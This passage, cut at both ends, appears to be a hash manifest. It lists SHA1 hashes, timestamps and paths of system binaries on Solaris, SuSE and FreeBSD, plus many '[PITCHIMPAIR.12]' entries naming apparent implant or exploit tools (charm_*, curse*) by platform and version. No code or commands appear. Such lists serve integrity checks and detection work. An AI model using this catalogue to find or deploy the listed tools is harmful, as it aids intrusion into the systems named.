Generic_117351-53 x86] +6EA87DEFC1D74A3D82C20EE7B423CD1C73C91FD4 Wed Jan 5 22:27:50 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic_117351-53 x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /bin/ls [Solaris 2.8 Generic_117351-53 x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /usr/bin/ls [Solaris 2.8 Generic_117351-53 x86] +AC4A5636FE6E800668E736FC22E6A270B8924C97 Wed Jan 5 22:45:43 2000 /usr/sbin/modinfo [Solaris 2.8 Generic_117351-53 x86] +35D4FB933BCFD37F981F55339195F392CA715B1A Wed Jan 5 23:04:55 2000 /usr/bin/i86/w [Solaris 2.8 Generic_117351-53 x86] +8DD28E646113245EEC7DDB0894C60A6A0487FF1F Wed Jan 5 23:14:36 2000 /usr/ucb/ls [Solaris 2.8 Generic_117351-53 x86] +1FE034C41BC744FBE0E87E01E04BFCBF1CBE68AE Thu May 24 22:56:20 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic_117351-53 x86] +257C4EAE52056277EFA60A7457F6D2411BF700D7 Tue Jul 10 17:22:52 2001 /usr/sbin/in.tftpd [Solaris 2.8 Generic_117351-53 x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /bin/find [Solaris 2.8 Generic_117351-53 x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /usr/bin/find [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /bin/netstat [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /usr/bin/netstat [Solaris 2.8 Generic_117351-53 x86] +C785B8758DAF6A5A9EABE22153879831BFBD3068 Fri Mar 25 23:09:27 2005 /usr/sbin/in.telnetd [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /bin/telnet [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /usr/bin/telnet [Solaris 2.8 Generic_117351-53 x86] +09567A528870740EAC5CA25DB701AD4CCA3CEC45 Thu Mar 9 10:19:33 2006 /sbin/sh [Solaris 2.8 Generic_117351-53 x86] +358A0E83F4C3A838E2372F667F425C898E7F664F Thu Mar 9 10:19:33 2006 /bin/sh [Solaris 2.8 Generic_117351-53 x86] +358A0E83F4C3A838E2372F667F425C898E7F664F Thu Mar 9 10:19:33 2006 /usr/bin/sh [Solaris 2.8 Generic_117351-53 x86] +0483DED9E5CAF38389F6904678F62589D3D26D99 Sun Jan 14 18:56:09 2007 /bin/rm [Solaris 2.8 Generic_117351-53 x86] +0483DED9E5CAF38389F6904678F62589D3D26D99 Sun Jan 14 18:56:09 2007 /usr/bin/rm [Solaris 2.8 Generic_117351-53 x86] +F159DD18CBB8B4E0A57AED70F1D1F5EC69FCF52D Thu Mar 22 15:44:31 2007 /usr/bin/i86/ps [Solaris 2.8 Generic_117351-53 x86] +FE90381A85C60DDE1378E6E491CF4F83B71A3DC8 Mon Jun 11 17:05:28 2007 /usr/sbin/in.ftpd [Solaris 2.8 Generic_117351-53 x86] +83A115888C544F2CDFFB424C2786E2035355FBCE Thu Sep 27 16:18:36 2007 /usr/sbin/inetd [Solaris 2.8 Generic_117351-53 x86] +2B4271E1028F56371DCE65346A981343695E44AE Mon Feb 18 19:13:46 2008 /bin/login [Solaris 2.8 Generic_117351-53 x86] +2B4271E1028F56371DCE65346A981343695E44AE Mon Feb 18 19:13:46 2008 /usr/bin/login [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /bin/su [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /usr/bin/su [Solaris 2.8 Generic_117351-53 x86] +831BAB3BCD7768B4D66C385168747B4D96776C12 Mon Feb 18 19:13:46 2008 /sbin/su [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/w [Solaris 2.8 Generic_117351-53 x86] +04E29F3FEDB1C2304A006B036B66D8D90BC550C3 Fri Mar 25 23:09:27 2005 /usr/ucb/telnet [Solaris 2.8 Generic_117351-53 x86] +BD71D29EFAD9320C823DD1CB8C2AE08499F7084B Wed Jan 14 19:02:23 2004 /usr/ucb/netstat [Solaris 2.8 Generic_117351-53 x86] + +E48D3D7D974DE31724D2B84C29EBB7CE96262CA4 Fri Jun 6 20:36:02 2008 /usr/bin/w [SuSE 11.0 x86_64] +0B128253924CE6F0C244D6C2AF5C303CA44A97FD Fri Jun 6 20:36:02 2008 /bin/ps [SuSE 11.0 x86_64] +4B1D1786D1875FEFD55AB415FEA0147E0C8D9B9D Fri Jun 6 20:37:28 2008 /sbin/modinfo [SuSE 11.0 x86_64] +6924B226E0B8012FC63B49F1F1AA458978EE92A9 Fri Jun 6 20:44:29 2008 /usr/bin/find [SuSE 11.0 x86_64] +E62431A172A1FC464AA6A08EB4C6CD1A5494A7B2 Fri Jun 6 21:18:06 2008 /usr/sbin/xinetd [SuSE 11.0 x86_64] +4AC4F9D4BC603CE779464D85426F5ED36AF8A343 Fri Jun 6 21:40:12 2008 /usr/bin/telnet [SuSE 11.0 x86_64] +3551E877E6F5F899B9C2DD9C8C0113613984AECF Fri Jun 6 22:31:48 2008 /bin/su [SuSE 11.0 x86_64] +72CFE9CBAC9465261C6B6501A46EE43A258876F7 Fri Jun 6 22:31:48 2008 /bin/rm [SuSE 11.0 x86_64] +F9AD5D1F07217933F9463A8B7BF550205A50B80E Fri Jun 6 22:31:48 2008 /bin/ls [SuSE 11.0 x86_64] +0BCDDFBAFF95EE57AF7AB76FE287EBDE61DE3DDE Fri Jun 6 22:42:40 2008 /sbin/arp [SuSE 11.0 x86_64] +5F7BC4234B02B88599EE53F7FA6B48D9D48134B3 Fri Jun 6 22:42:40 2008 /bin/netstat [SuSE 11.0 x86_64] +43DB6A33E7B2CF4E435CED0BDCB041F6D9E0CEC7 Fri Jun 6 23:44:52 2008 /bin/login [SuSE 11.0 x86_64] +24728F24EFB5F6442E8CE9D73EB6FAF0AEC2DFC4 Fri Jun 6 21:03:48 2008 /bin/sh [SuSE 11.0 x86_64] +24728F24EFB5F6442E8CE9D73EB6FAF0AEC2DFC4 Fri Jun 6 21:03:48 2008 /usr/bin/sh [SuSE 11.0 x86_64] +BB61EAB7F3C0521A9E1E949361ED633A7FF31AB7 Fri Jun 6 21:18:06 2008 /usr/sbin/rcxinetd [SuSE 11.0 x86_64] + +CF7D0FDC62FE8273B1F235C45A1CD03E8F440502 Wed Dec 3 10:32:09 2008 /sbin/modinfo [SuSE 11.1 x86_64] +D5D2CF22B05D9179590B6E925A8A46DF62F0C7B5 Wed Dec 3 10:34:07 2008 /usr/bin/find [SuSE 11.1 x86_64] +B86CB9ACA8176D6F2157E75E1F9325904B503468 Wed Dec 3 10:41:06 2008 /sbin/arp [SuSE 11.1 x86_64] +75134169548AF6268FDEBC62685DB1A12EFC5471 Wed Dec 3 10:41:08 2008 /bin/netstat [SuSE 11.1 x86_64] +653F929CFB6DD275736B887C5D6C460D437A9650 Wed Dec 3 10:54:27 2008 /usr/bin/telnet [SuSE 11.1 x86_64] +AEF68044D1757B9E9FF3E9D7384E9703E8A5A54B Wed Dec 3 11:13:22 2008 /usr/bin/w [SuSE 11.1 x86_64] +F234252C2577725D37F95207927DE180F85DDDC8 Wed Dec 3 11:13:22 2008 /bin/ps [SuSE 11.1 x86_64] +E2E8EF34264DC112FABE4B43D9EC8CD88055FE5C Wed Dec 3 11:23:38 2008 /usr/sbin/xinetd [SuSE 11.1 x86_64] +91DE479B5DC777963993077AD28EAF188CA932EB Wed Dec 3 11:51:02 2008 /bin/login [SuSE 11.1 x86_64] +8A48A0454A1AB0B75F7ADC11BF4B9C7402EE17B0 Wed Dec 3 11:56:36 2008 /bin/su [SuSE 11.1 x86_64] +4B0FC111479E3EAA04AD959BCC4A37B2E72273D2 Wed Dec 3 11:56:35 2008 /bin/rm [SuSE 11.1 x86_64] +F73A500A96B63BC0B720C21AAC72B0C63589F03F Wed Dec 3 11:56:35 2008 /bin/ls [SuSE 11.1 x86_64] +0E5F1716E443FAAF4BA1CDC17EC1E10682A89F44 Wed Dec 3 11:13:06 2008 /bin/sh [SuSE 11.1 x86_64] +0E5F1716E443FAAF4BA1CDC17EC1E10682A89F44 Wed Dec 3 11:13:06 2008 /usr/bin/sh [SuSE 11.1 x86_64] +4F7719469820CE454672F8DDD45A5CB6A7924195 Wed Dec 3 11:23:38 2008 /usr/sbin/rcxinetd [SuSE 11.1 x86_64] + +272CD69744E0828CB9720A6F61913F6D496B59EB Sun Mar 21 05:02:40 2010 /bin/ls [FreeBSD 7.3] +5DA3804559508448E4C3485DE21BD429D2572DFC Sun Mar 21 05:02:41 2010 /bin/ps [FreeBSD 7.3] +5767D9159AD5F9CCB0D311866F44083AEBCC10E8 Sun Mar 21 05:02:41 2010 /bin/sh [FreeBSD 7.3] +7CC4A00140AB6036BACEE64DD3C051CDAE792F07 Sun Mar 21 05:02:41 2010 /bin/rm [FreeBSD 7.3] +1A7A46FFFA98B0C9A0B381868B91FFF5961B6327 Sun Mar 21 05:03:29 2010 /usr/bin/su [FreeBSD 7.3] +4D47F9C3A8926C2A73ADCBD7CC1B7FC456ABAB0A Sun Mar 21 05:03:25 2010 /usr/bin/login [FreeBSD 7.3] +330C5C280FAF14779C759E50807DD3FAC74AEE48 Sun Mar 21 05:03:28 2010 /usr/bin/netstat [FreeBSD 7.3] +53048EB4BC00230E871EDEEACE2794909883F652 Sun Mar 21 05:03:33 2010 /usr/sbin/arp [FreeBSD 7.3] +1110CBC8C04E913E2296F6B4D396F2501BD5E018 Sun Mar 21 05:03:24 2010 /usr/bin/find [FreeBSD 7.3] +ECA585651C8FB6430DE8E78467ACDC84E9A638B7 Sun Mar 21 05:03:39 2010 /usr/sbin/inetd [FreeBSD 7.3] +E3C24420DF447149DC163F7ED0927BF2D08FAEE9 Sun Mar 21 05:03:29 2010 /usr/bin/telnet [FreeBSD 7.3] +67E9F041186C694930734EB0F2194709FFFAF89D Sun Mar 21 05:03:30 2010 /usr/bin/w [FreeBSD 7.3] + +32CFD8FE4AE3CFF5B3FA53BE76ED3A41022AE37B Thu Jan 1 11:49:56 2009 /bin/ls [FreeBSD 7.1] +780797782B7C1A6BB80B0900A1E0332FDAF9AB5F Thu Jan 1 11:49:56 2009 /bin/ps [FreeBSD 7.1] +BA040E931DAE40C802028FA568445AC94AE0CFAB Thu Jan 1 11:49:57 2009 /bin/sh [FreeBSD 7.1] +ED223D72D4466BD1B33B94CA3A63105BD8529B19 Thu Jan 1 11:49:57 2009 /bin/rm [FreeBSD 7.1] +AA173253697DB9FEB6019E288462045BA9FC03DF Thu Jan 1 11:52:48 2009 /usr/bin/su [FreeBSD 7.1] +E56D05728C00CF3B50AEC8086EF5CBD40299092A Thu Jan 1 11:52:42 2009 /usr/bin/login [FreeBSD 7.1] +C563A90895800EF793B6B7A7EC350E61A339F5E1 Thu Jan 1 11:52:44 2009 /usr/bin/netstat [FreeBSD 7.1] +D576085319014C75148155F70FB606028DFF098F Thu Jan 1 11:52:58 2009 /usr/sbin/arp [FreeBSD 7.1] +310E5FF06304A4519A9B1F38C006807970B4F6E0 Thu Jan 1 11:52:35 2009 /usr/bin/find [FreeBSD 7.1] +A5EF4098F23066DC193C6230A7F273721EF174AC Thu Jan 1 11:52:49 2009 /usr/bin/telnet [FreeBSD 7.1] +70A999C3C7DC4EBAB27406127008A45473458055 Thu Jan 1 11:52:53 2009 /usr/bin/w [FreeBSD 7.1] +24A243CBE44A25897707413D54622F232257CDF7 Thu Jan 1 11:53:08 2009 /usr/sbin/inetd [FreeBSD 7.1] + +B8643FDDA580BBDBE0E701FF3F15341C6F505DF6 Thu Feb 17 02:37:54 2011 /bin/ls [FreeBSD 7.4] +C3A23721F528F33D64B3BFFE6881DB2C2DDFD890 Thu Feb 17 02:37:54 2011 /bin/ps [FreeBSD 7.4] +88FC0BA58AD1399F9EC1E435966A39DE00241F65 Thu Feb 17 02:37:55 2011 /bin/sh [FreeBSD 7.4] +6EB4E8D03AFB51060D179683B75306367839CF35 Thu Feb 17 02:37:55 2011 /bin/rm [FreeBSD 7.4] +63B69241ED8E02A5DA160726431705E1D41D30D9 Thu Feb 17 02:38:36 2011 /usr/bin/su [FreeBSD 7.4] +63AC3BF4EDC88662A7C3B3E8B32AE34CC7ED59DE Thu Feb 17 02:38:33 2011 /usr/bin/login [FreeBSD 7.4] +EB5AEB74BF68E4BD37B9A9B708B917233EA8B6FC Thu Feb 17 02:38:34 2011 /usr/bin/netstat [FreeBSD 7.4] +DAA8D851B4C61CBFD544006A99E60EF101EE4DC4 Thu Feb 17 02:38:39 2011 /usr/sbin/arp [FreeBSD 7.4] +8A3B255F2705D662A01F74AE9D50775F72CB283F Thu Feb 17 02:38:32 2011 /usr/bin/find [FreeBSD 7.4] +03FF49B4AA5346D1AB371880085440E723AE595C Thu Feb 17 02:38:42 2011 /usr/sbin/inetd [FreeBSD 7.4] +25524165C4ED5EB20FB1AD453D961FEBA23C90FD Thu Feb 17 02:38:36 2011 /usr/bin/telnet [FreeBSD 7.4] +1D36CAD9DD58A3F5A3D318147E6727DE9EA29853 Thu Feb 17 02:38:37 2011 /usr/bin/w [FreeBSD 7.4] + +6F046C57CE438EC9ECD0AC20A65AFDC74BDF5D15 Sun Feb 24 17:50:52 2008 /bin/ls [FreeBSD 7.0] +DD93990E10061546041B98BF3C461D5B27CFBFBE Sun Feb 24 17:50:52 2008 /bin/ps [FreeBSD 7.0] +CB2DC7DEB25B5F5D25AF27A3E78D5EB0A1367E6C Sun Feb 24 17:50:53 2008 /bin/sh [FreeBSD 7.0] +7DD7380E9640E1D9AC6DDBF60B1F7E2C327109E9 Sun Feb 24 17:50:53 2008 /bin/rm [FreeBSD 7.0] +490AD5620DEA0095941D762D6D82C5EF644BF2B8 Sun Feb 24 17:52:46 2008 /usr/bin/su [FreeBSD 7.0] +2B7FA30B335E546FE0E4152087651E23F0054D42 Sun Feb 24 17:52:42 2008 /usr/bin/login [FreeBSD 7.0] +5A066814CC7CC9DC273E5C725B0A35B98CE8DF0F Sun Feb 24 17:52:44 2008 /usr/bin/netstat [FreeBSD 7.0] +1243E1452B209497E60E08B1C90305FC3AD79D6B Sun Feb 24 17:52:54 2008 /usr/sbin/arp [FreeBSD 7.0] +029EF64D492E89BA18AD03F227E0DD9E2F9E52F0 Sun Feb 24 17:52:37 2008 /usr/bin/find [FreeBSD 7.0] +15B174CE4031A11E0599282F462501C5646A7796 Sun Feb 24 17:52:47 2008 /usr/bin/telnet [FreeBSD 7.0] +7496E5578A27104DC5F64CA74719777350DC97A5 Sun Feb 24 17:52:49 2008 /usr/bin/w [FreeBSD 7.0] +2B68CADDE09B6225C6FDBBE2DB22C13AAC48FBD3 Sun Feb 24 17:53:02 2008 /usr/sbin/inetd [FreeBSD 7.0] + +90DD9EEE33EF7D32920A8C179E020862D6DD9721 Thu Oct 6 23:17:26 2011 [FW.zip busybox] busybox + +B582EBF715118F73AB3D047A34B3B43FF7DC6D2E Fri Apr 24 12:05:18 2009 [PITCHIMPAIR.12] charm_fiesta.hp-uxb.11.00_v.1.1.0.7 +AD1E131CFC08DA5F448B6DF7D61711D9D1FFFDDC Tue May 6 18:00:55 2008 [PITCHIMPAIR.12] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_8 +AD1E131CFC08DA5F448B6DF7D61711D9D1FFFDDC Tue May 6 18:00:55 2008 [PITCHIMPAIR.12] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_9 +22D930E5612B6EDA2700B5269FE5F54D319AA068 Tue Jul 22 19:56:41 2008 [PITCHIMPAIR.12] charm_penguin.sunos5.10_v.1.0.0.6 +64BE0F869F25199A1F0E42C4B3DC3B890898AD2F Thu Mar 10 19:57:44 2011 [PITCHIMPAIR.12] charm_penguin.sunos5.8_v.2.0.0.1 +3DB22E768BD206D98A238F2A7ECA1A808B008E3F Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.12] charm_razor.linux2.6.5-7.97-smp_v.1.1.0.3 +055245170D813DA026D59630623EE13136143E6F Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.12] charm_razor.linuxsuse9.0_v.1.2.0.2 +F76FEB529CB68871E1B0CB5D813C8CFAC538F0DE Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.12] charm_razor.sunos5.8_v.1.2.0.2 +223EAC43A8C30ED3C59DDB8B43C5440016E8F5DC Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.12] charm_razor.sunos5.9_v.1.1.0.3 +745A652564161CDD09BE5FB188D37F7029F6A167 Tue Jun 15 18:03:05 2010 [PITCHIMPAIR.12] charm_razor.win2k_v.2.0.0.1 +44A5E77FC31C9104C1EEE3CAB47D5D6B54EA8E84 Fri Oct 17 13:48:49 2008 [PITCHIMPAIR.12] charm_saver.hp-uxb.11.11_v.1.0.0.1 +9B1608CD4BFCD8D6970187589AE999E0829C81B7 Thu Jun 3 16:19:31 2010 [PITCHIMPAIR.12] charm_saver.hpux11.00_v.2.0.0.2 +AA7D6B77B5C000314C856431883DF2B0D12EC046 Tue May 4 17:01:58 2010 [PITCHIMPAIR.12] charm_saver.win2k_v.2.0.0.2 +D1BB7A0F6EC97C31450251C83879CABCDC071F23 Wed Dec 17 16:05:14 2008 [PITCHIMPAIR.12] charm_uno.sunos5.9_v.1.1.0.4 +40CC8C09636384EA5F88E97BAAAFF7E09B42EC02 Thu Apr 24 19:02:39 2008 [PITCHIMPAIR.12] charm_uno.v1.0.0.8.sunos5.9_v.solaris_9 +AE9EF603C60BFE913764BAFE5D6268035A2DF7ED Fri Oct 1 17:26:44 2010 [PITCHIMPAIR.12] charm_uno.v2.0.0.3.linuxrh7.3_v.linux +7037E6F1D3F387691BC584FFF6CEAEDAC6244F9A Wed Oct 6 17:45:58 2010 [PITCHIMPAIR.12] charm_uno.v2.0.0.4.sunos5.8_v.solaris +5CC8C3587040C40C263C9B5199F716A3CE443DB1 Mon Sep 28 14:40:11 2009 [PITCHIMPAIR.12] charm_vortex.sunos5.8_v.1.0.0.2 +750BBC158C7DB265225A5269677EAD5D04263513 Thu Jan 21 17:55:26 2010 [PITCHIMPAIR.12] charm_vortex.sunos5.8_v.1.0.1.2 +CCDEAB6DCCCB2BC0F5FBBB17FE989C7179E76745 Thu Mar 6 17:40:19 2008 [PITCHIMPAIR.12] cursebingo.sunos5.10_v.1.0.1.2 +B18A53F08C39EBC0D222D7B2BABCE09F63C57D73 Mon Mar 15 15:02:26 2010 [PITCHIMPAIR.12] cursebingo.v2.0.0.3.sunos5.8_v.solaris +B5652F2E11129D51FFAB3F6F9BC188B3226BAEB0 Thu Mar 6 21:06:19 2008 [PITCHIMPAIR.12] cursebongo.sunos5.10_v.1.0.0.4 +066C9ED5D6E3498A43CAF705945DE78AA723C206 Tue Jun 23 18:52:29 2009 [PITCHIMPAIR.12] cursebongo.sunos5.8_v.1.1.0.1 +908A7347F0622960E8225BF3206636111CBE0AED Mon May 3 12:23:09 2010 [PITCHIMPAIR.12] cursebongo.sunos5.8_v.2.0.0.1 +95C2D8C5354AD0BB09796E80F846115168262B86 Mon Nov 3 15:29:43 2008 [PITCHIMPAIR.12] cursechicken.sunos5.8_v.1.0.0.1 +43AB277B3629507710FD1269C91ABB8E74CCA969 Fri Apr 24 16:39:03 2009 [PITCHIMPAIR.12] cursechicken.sunos5.8_v.1.0.1.4 +4635E05651DBCD3F2EDA4A174D7C33F01DE1C9C3 Wed Jun 15 12:34:23 2011 [PITCHIMPAIR.12] cursedevo.sunos5.8_v.1.0.0.3 +DCD5465C9327A0AFE309A116AB428B6EA95B60FE Tue Aug 11 16:33:15 2009 [PITCHIMPAIR.12] curseflower.mswin32_v.1.0.0.3 +91ACE7E5E2073367D810C933E10ABF35432094F7 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.hpux11.00_v.2.1.0.1 +3DE069D24A523C10A1F2CF6E53DB86DE4878CA40 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.hpuxb.11.00_v.2.0.0.2 +84B2DDBE9ECACCA5E786079C314AB1F0C935A401 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.linuxrh7.3_v.2.0.0.2 +CAB5155EF63DC824DE53568A639735310C35EF22 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.linuxrh7.3_v.2.1.0.1 +133041F8A5206116CF4A14883BC93DD53641C00B Mon Apr 12 14:30:21 2010 [PITCHIMPAIR.12] cursegismo.sunos5.8.i386_v.2.0.0.5 +7B73F0EB39A434DAB80BE1F5240AAA8ED3499C28 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.sunos5.8.i386_v.2.1.0.1 +84290FB4E490182FACC517561544226C6FA89465 Mon Jun 11 20:01:36 2007 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.1.0.4 +5155C50365264F0325A4E585A01F890E6A4695DB Wed Sep 19 12:22:03 2007 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.1.1.1 +F9DB4E9BB875AE22951B74A8A727E30C531B31C1 Wed Oct 22 18:15:34 2008 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.1.2.0.2 +90B50B531E0DB2DFDF885F23E531973B1C85DF24 Wed Jan 27 16:34:35 2010 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.2.0.0.2 +78DA2E62CD6A53B75A38A41DC65950BA10828D87 Fri Feb 11 18:12:46 2011 [PITCHIMPAIR.12] cursegismo.sunos5.8_v.2.1.0.1 +54142A2EBEB9490336E2158C46BAF2ACC75238C7 Wed Sep 19 12:22:35 2007 [PITCHIMPAIR.12] cursegismo.sunos5.9_v.1.1.1.1 +A95C3632C0AF9F491658F8749DB7FDA243B8FA92 Thu Apr 9 15:32:28 2009 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.00_v.5.0.0.5 +96CE881EA4546F46961475A9D6B0BF40D1B7BE31 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.00_v.6.0.0.1 +0D579EFC002622BC2D639FB8E5DFFA1E45A5BE51 Wed Jan 2 21:29:34 2008 [PITCHIMPAIR.12] cursehappy.hp-uxb.11.11_v.4.1.2.4 +EDA9AD9BE6CCBCCCDD96EEEADF2E744E4297A5C0 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.hpux11.00_v.6.1.0.1 +D83037BC4E025BABA874E5BBA4079C4205B9B264 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.linuxrh7.3_v.6.1.0.1 +2C3C96D3AEBDE479FC5147F8DCF00625FD78024E Thu Apr 9 15:32:40 2009 [PITCHIMPAIR.12] cursehappy.mswin32_v.5.0.0.5 +D0E3E98DA05D29FB9802291E744EF1667582D756 Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.rhl7.3_v.6.0.0.1 +CFDA3B122E8599C57B3F8B632324E43427536012 Thu Apr 9 15:32:51 2009 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.5.0.0.5 +16C7C11BD8C70F333F16341ABA0DB2BAAD0904FC Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.6.0.0.1 +00D54B5F950A377E900B64B565DA58FD014EB672 Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.sunos5.8_v.6.1.0.1 +8CA41956ED63025C8760F3EBD4B704F7C7CB7F70 Wed Jan 2 21:34:56 2008 [PITCHIMPAIR.12] cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 +6485249152B9A0DCC327D80F400275CA0703773C Mon Mar 1 16:56:59 2010 [PITCHIMPAIR.12] cursehappy.win2k_v.6.0.0.1 +E79BCE98D9F64ED71CFCA7C6C507FC7723F9861A Thu Aug 19 19:52:11 2010 [PITCHIMPAIR.12] cursehappy.win2k_v.6.1.0.1 +0D42734F8F15EDFFB3B73A6DFDE6FC60DC2FC045 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.aix5.1_v.2.1.0.2 +05D9935E7D3B62EF3A1DC3E5CA06B0DA58787995 Thu Aug 6 14:57:59 2009 [PITCHIMPAIR.12] cursehelper.hp-uxb.11.00_v.1.1.0.1 +2B6ABB47B4C5DF369A794A6FED08CD476470C9FC Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.hpux11.00_v.2.1.0.2 +E9E9EE03E063BE329F2F72FBF4E4A666CEC9AA62 Thu Aug 6 14:58:09 2009 [PITCHIMPAIR.12] cursehelper.sunos5.8_v.1.1.0.1 +0D151AB49A9974844A0089B9C576AA6218479512 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.sunos5.8_v.2.1.0.2 +AA227C89ACE731945DC53ACF7DC90DECB4C2DBE4 Thu Sep 2 11:31:27 2010 [PITCHIMPAIR.12] cursehelper.win2k_v.2.1.0.2 +100CD2DD37B8E94CAB80AA62AB52D280075AF9B9 Wed Jun 11 18:30:26 2008 [PITCHIMPAIR.12] cursehole.v1.0.0.6.sunos5.9_v.solaris_9 +05C9C15D028FCB775D8131339FCA9BF35429B01C Fri Sep 26 15:54:20 2008 [PITCHIMPAIR.12] cursehole.v1.1.0.3.aix5.1_v.aix_51 +40829E57EC1CE506E3B2BF681AB1DD7C6216B864 Mon Aug 17 18:47:42 2009 [PITCHIMPAIR.12] cursehole.v1.1.1.1.aix5.1_v.aix_51 +E7950DEE4159585B117056C3A41BD677687F1747 Wed Jan 2 22:23:15 2008 [PITCHIMPAIR.12] cursehummer.hp-uxb.11.11_v.1.0.0.11 +E5D9850E1BCF7C7B1DD40128EFEB4087E9468AF7 Thu Jun 28 18:46:46 2007 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.00_v.6.0.0.6 +2D3FF8ED7B3E3D4C3F2504845648E613893000E4 Wed Feb 18 11:36:47 2009 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.00_v.6.1.0.2 +6BD65C84C0C55D59FF5F561BA1FF2CDA897C992B Thu Jun 28 18:47:52 2007 [PITCHIMPAIR.12] cursehydrant.hp-uxb.11.11_v.6.0.0.6 +311AFCA87D343B8DF9F38D7933DFA509E2966D30 Thu Feb 5 13:49:56 2009 [PITCHIMPAIR.12] cursehydrant.sunos5.8_v.6.1.0.2 +925475C5D2A5D4A85C78F934DDF06E596A7ABAF3 Tue Nov 10 11:29:38 2009 [PITCHIMPAIR.12] cursejoker.aix5.1_v.1.0.0.4 +E60CDF1037A260DE386C7AD7807A934EB0CDA592 Fri May 1 14:32:25 2009 [PITCHIMPAIR.12] cursekettle.sunos5.8_v.1.0.0.2 +ED00A5537A9F0CD8E7E58F6693C607BB33AD7748 Mon Jun 13 18:20:20 2011 [PITCHIMPAIR.12] cursekiln.sunos5.8_v.1.0.0.2 +A0B41C0CFCE32EFB02A72D290265BE0D0E9AFC11 Mon Sep 29 17:58:40 2008 [PITCHIMPAIR.12] curselion.aix.5.1_v.1.0.0.10 +26EB533FA7E3EA9559FD71E3B6C470497C3B25F4 Wed Apr 21 16:15:46 2010 [PITCHIMPAIR.12] cursemagic.aix5.1_v.2.0.1.1 +5BD539E66B8EFBC1E6077F22F3CC850E9487222D Wed Apr 21 16:15:41 2010 [PITCHIMPAIR.12] cursemagic.hpux11.00_v.2.0.1.1 +DAC7B3214478A845B86D1E91915E33575C93A13C Thu Dec 18 19:06:03 2008 [PITCHIMPAIR.12] cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 +74C08F1BD4008954E028181E7BE9B51DDE95B2BD Tue Apr 14 18:41:05 2009 [PITCHIMPAIR.12] cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 +9BD3FEB3AE384C1592ACC5FEC2B0F8BB740BC405 Fri Apr 9 10:40:04 2010 [PITCHIMPAIR.12] cursemagic.linuxrh7.3_v.2.0.0.1 +F3D41481F353EE9AC9ED9777F12FFFBAEB814C7F Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.12] cursemagic.linuxrh7.3_v.2.0.1.1 +6C5D7A56FCDB65792E05D2DBD9631978511D5F1F Fri Nov 6 12:41:52 2009 [PITCHIMPAIR.12] cursemagic.rhl7.3_v.1.3.0.5 +230335E9756A226A95B86C8EA709320959A3AFE5 Fri Apr 9 10:37:34 2010 [PITCHIMPAIR.12] cursemagic.solaris5.8_v.2.0.0.1 +FB1B509AB5167368EE71CA93EECFAAD66D4765C1 Tue Apr 20 18:56:43 2010 [PITCHIMPAIR.12] cursemagic.solaris5.8_v.2.0.1.1 +1A482796010B00C24BCD30A3F790571DEFE65443 Tue Jan 23 15:15:39 2007 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.0.0.0 +26493B4EC53AC10B1A920CE7469335B999DEF1A1 Wed Sep 19 12:28:08 2007 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.1.0.3 +CF983C394CBA918C8EE1362FA82C9EB9A49EFE72 Thu Dec 18 19:09:11 2008 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.2.0.2 +7A5A909B508E97EF52954DB6D3F1F5F0021390EA Tue 